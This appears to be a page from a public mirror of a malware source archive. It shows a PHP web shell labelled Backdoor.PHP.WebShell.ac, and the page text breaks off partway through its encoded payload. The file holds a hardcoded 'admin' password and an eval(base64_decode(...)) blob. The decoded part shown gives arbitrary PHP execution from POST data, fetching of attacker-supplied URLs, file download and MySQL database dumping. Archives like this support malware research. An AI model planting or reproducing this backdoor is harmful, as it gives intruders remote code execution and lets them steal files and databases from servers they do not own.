13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-25 00:18:34 +00:00
vxug-MalwareSourceCode/PHP/Backdoor.PHP.WebShell.ac

3 lines
82 KiB
Plaintext
Raw Normal View History

2020-10-10 03:05:41 +00:00
<?php
$admin['pass'] = "admin"; //<2F>޸<EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD>
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSAiMSI7DQoNCiRyZXRpbWUgPSAibm8iOw0KDQokY21kID0gImNtZC5leGUiOw0KDQokb25vZmYgPSAoZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpID8gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpIDogZ2V0X2NmZ192YXIoJ3JlZ2lzdGVyX2dsb2JhbHMnKTsNCg0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJF9QT1NULCBFWFRSX1NLSVApOw0KCUBleHRyYWN0KCRfR0VULCBFWFRSX1NLSVApOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7DQoNCg0KaWYoJGFkbWluWydjaGVjayddID09ICIxIikgew0KCWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gImxvZ291dCIpIHsNCgkJc2V0Y29va2llICgiYWRtaW5wYXNzIiwgIiIpOw0KCQllY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO1VSTD0iLiRzZWxmLiJcIj4iOw0KCQlleGl0Ow0KCX0NCg0KCWlmICgkX1BPU1RbJ2RvJ10gPT0gJ2xvZ2luJykgew0KCQkkdGhlcGFzcz10cmltKCRfUE9TVFsnYWRtaW5wYXNzJ10pOw0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHRoZXBhc3MpIHsNCgkJCXNldGNvb2tpZSAoImFkbWlucGFzcyIsJHRoZXBhc3MsdGltZSgpKygxKjI0KjM2MDApKTsNCgkJCWVjaG8gIjxtZXRhIGh0dHAtZXF1aXY9XCJyZWZyZXNoXCIgY29udGVudD1cIjA7VVJMPSIuJHNlbGYuIlwiPiI7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmIChpc3NldCgkX0NPT0tJRVsnYWRtaW5wYXNzJ10pKSB7DQoJCWlmICgkX0NPT0tJRVsnYWRtaW5wYXNzJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCgkJCWxvZ2lucGFnZSgpOw0KCQl9DQoJfSBlbHNlIHsNCgkJbG9naW5wYWdlKCk7DQoJfQ0KfQ0KLyo9PT09PT09PT09PT09PT09PT09PT0g0enWpL3hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KLy8gxdC2zyBtYWdpY19xdW90ZXNfZ3BjINe0zKwNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQogICAgJF9HRVQgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9HRVQpOw0KCSRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOw0KfQ0KDQovLyCy6b+0UEhQSU5GTw0KaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicGhwaW5mbyIpIHsNCgllY2hvICRwaHBpbmZvPSghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gcGhwaW5mbygpIDogInBocGluZm8oKSC6r8r90tGxu73708Msx+uy6b+0Jmx0O1BIULu3vrOx5MG/Jmd0OyI7DQoJZXhpdDsNCn0NCmlmKCRfR0VUWydhY3Rpb24nXSA9PSAibm93dXNlciIpIHsNCiR1c2VyID0gZ2V0X2N1cnJlbnRfdXNlcigpOw0KaWYoISR1c2VyKSAkdXNlciA9ICKxqLjms6S52aOs1ve7+rHkzKyjrM7et6i78cihtbHHsL340NDTw7unw/ujoSI7DQplY2hvIrWxx7C9+LPM08O7p8P7o7okdXNlciI7DQpleGl0Ow0KfQ0KaWYoaXNzZXQoJF9QT1NUWydwaHBjb2RlJ10pKXsNCglldmFsKCI/Ii4iPiRfUE9TVFtwaHBjb2RlXTw/Iik7DQoJZXhpdDsNCn0NCi8vINTaz9+0+sDtDQppZiAoaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHsNCgkkcHJveHljb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3VybCddKTsNCgllY2hvICgkcHJveHljb250ZW50cykgPyAkcHJveHljb250ZW50cyA6ICI8Ym9keSBiZ2NvbG9yPVwiI0Y1RjVGNVwiIHN0eWxlPVwiZm9udC1zaXplOiAxMnB4O1wiPjxjZW50ZXI+PGJyPjxwPjxiPrvxyKEgVVJMIMTayN3Kp7DcPC9iPjwvcD48L2NlbnRlcj48L2JvZHk+IjsNCglleGl0Ow0KfQ0KDQovLyDPwtTYzsS8/g0KaWYgKCFlbXB0eSgkZG93bmZpbGUpKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJGRvd25maWxlKSkgew0KCQllY2hvICI8c2NyaXB0PmFsZXJ0KCfE49Kqz8K1xM7EvP6yu7Tm1NohJyk8L3NjcmlwdD4iOw0KCX0gZWxzZSB7DQoJCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRkb3duZmlsZSk7DQoJCSRmaWxlbmFtZV9pbmZvID0gZXhwbG9kZSgnLicsICRmaWxlbmFtZSk7DQoJCSRmaWxlZXh0ID0gJGZpbGVuYW1lX2luZm9bY291bnQoJGZpbGVuYW1lX2luZm8pLTFdOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlZXh0KTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJCWhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogUEhQIEdlbmVyYXRlZCBEYXRhJyk7DQoJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJGRvd25maWxlKSk7DQoJCUByZWFkZmlsZSgkZG93bmZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KLy8g1rG908/C1NixuLfdyv2+3b/iDQppZiAoJF9QT1NUWydiYWNrdXB0eXBlJ10gPT0gJ2Rvd25sb2FkJykgew0KCUBteXNxbF9jb25uZWN0KCRzZXJ2ZXJuYW1lLCRkYnVzZXJuYW1lLCRkYnBhc3N3b3JkKSBvciBkaWUoIsr9vt2/4sGsvdPKp7DcIik7DQoJQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKSBvciBkaWUoItGh1PHK/b7dv+LKp7DcIik7CQ0KCSR0YWJsZSA9IGFycmF5X2ZsaXAoJF9QT1NUWyd0YWJsZSddKTsNCgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFibGVzIik7DQoJZWNobyAoJHJlc3VsdCkgPyBOVUxMIDogIrP2tO06ICIubXlzcWxfZXJyb3IoKTsNCg0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbCIpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJJG15c3FsZGF0YSA9ICcnOw0KCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJaWYgKGl